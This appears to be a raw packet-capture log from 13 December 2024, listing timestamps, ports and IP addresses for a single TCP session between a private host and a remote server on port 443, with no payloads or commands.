Dec 13, 2024 13:28:35.570929050 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.570991039 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.572640896 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.572694063 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.575956106 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.576114893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.578886986 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.578941107 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.580482006 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.580534935 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.583657026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.583714008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.586617947 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.586679935 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.589684963 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.589742899 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.591347933 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.591403961 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.594291925 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.594379902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.597448111 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.597496986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.599742889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.599802017 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.601398945 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.601457119 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.602511883 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.604549885 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.604600906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.607530117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.607579947 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.609127998 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.609177113 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.612279892 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.612329006 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.615207911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.615263939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.618308067 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.618355989 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.620013952 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.620069027 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.622921944 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.622975111 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.638971090 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.639027119 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.639878035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.639928102 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.741152048 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.741225958 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.741821051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.741889000 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.744266033 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.744323015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.746748924 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.746803999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.747989893 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.748065948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.750484943 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.750540972 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.752770901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.752820969 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.755130053 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.755187035 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.756505966 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.756556988 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.758748055 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.758804083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.761262894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.761313915 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.762598038 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.762650013 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.764913082 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.765037060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.767333984 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.767401934 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.768683910 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.768738985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.771030903 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.771090031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.773339987 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.773437023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.774652004 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.774708986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.777126074 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.777175903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.778937101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.778994083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.781246901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.781308889 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.783662081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.783715963 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.784986973 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.785057068 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.787295103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.787373066 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.789783955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.789841890 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.791049957 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.791106939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.793462038 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.793550014 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.795790911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.795855045 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.797118902 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.797173023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.799523115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.799573898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.831438065 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.831500053 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.832845926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.832890034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.933567047 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.933639050 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.935015917 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.935081959 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.936252117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.936338902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.938627005 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.938683033 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.940516949 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.940572023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.941719055 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.941829920 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.943856955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.943917036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.946568012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.946619034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.948334932 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.948396921 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.949388981 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.949460030 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.951513052 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.951572895 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.953615904 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.953676939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.954822063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.954874992 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.956893921 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.956950903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.959099054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.959156036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.960412979 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.960469961 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.962415934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.962476969 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.964551926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.964616060 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.965899944 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.965955973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.968390942 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.968457937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.969583988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.969660044 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.971669912 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.971731901 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.973850965 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.973905087 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.975065947 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.975135088 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.977260113 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.977312088 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.979316950 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.979368925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.980537891 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.980622053 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.982608080 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.982657909 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.984847069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.984909058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.985970020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:35.986031055 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:35.990303040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.067277908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.067368984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.069865942 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.069941998 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.125617027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.125701904 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.127059937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.127123117 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.128973007 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.129029036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.130131006 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.130201101 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.132263899 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.132320881 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.134371042 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.134428024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.135430098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.135514975 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.137592077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.137681007 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.139581919 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.139643908 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.140867949 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.140922070 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.142844915 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.142895937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.144886017 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.144947052 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.147047043 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.147114992 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.148132086 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.148195982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.150163889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.150263071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.152277946 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.152368069 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.153377056 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.153441906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.155594110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.155668974 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.157644987 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.157744884 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.159218073 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.159285069 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.160408020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.160473108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.162545919 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.162611008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.164585114 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.164640903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.166764975 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.166825056 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.167821884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.167882919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.169930935 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.170002937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.172065020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.172126055 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.173291922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.173361063 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.175256968 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.175321102 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.177290916 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.177355051 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.259862900 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.259933949 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.260996103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.261051893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.318058968 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.318166018 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.319143057 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.319211960 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.321053028 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.321125984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.323182106 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.323259115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.324409008 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.324493885 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.326570034 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.326653957 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.328440905 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.328517914 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.329597950 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.329663038 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.331592083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.331667900 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.333652020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.333735943 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.334851027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.334922075 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.336951017 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.337032080 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.338860035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.338938951 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.340429068 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.340497971 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.343063116 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.343135118 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.344695091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.344768047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.346328020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.346398115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.347418070 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.347480059 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.349373102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.349442005 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.351063013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.351136923 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.353075027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.353135109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.354237080 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.354331970 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.356404066 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.356477022 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.358362913 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.358458996 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.359512091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.359590054 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.361663103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.361727953 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.363610029 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.363675117 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.365695000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.365763903 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.366864920 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.366946936 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.368848085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.368926048 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.451816082 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.451884031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.453915119 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.453974009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.510147095 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.510209084 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.511272907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.511323929 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.513317108 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.513372898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.515327930 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.515378952 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.516457081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.516513109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.518604040 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.518660069 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.520577908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.520710945 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.521686077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.521739006 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.523921013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.523962975 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.525903940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.525955915 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.527961969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.528014898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.529148102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.529194117 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.531083107 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.531147957 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.533168077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.533260107 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.534281969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.534327984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.536323071 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.536463976 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.538536072 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.538587093 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:36.539607048 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:36.539658070 CET	49732	443	192.168.2.10	91.134.10.168
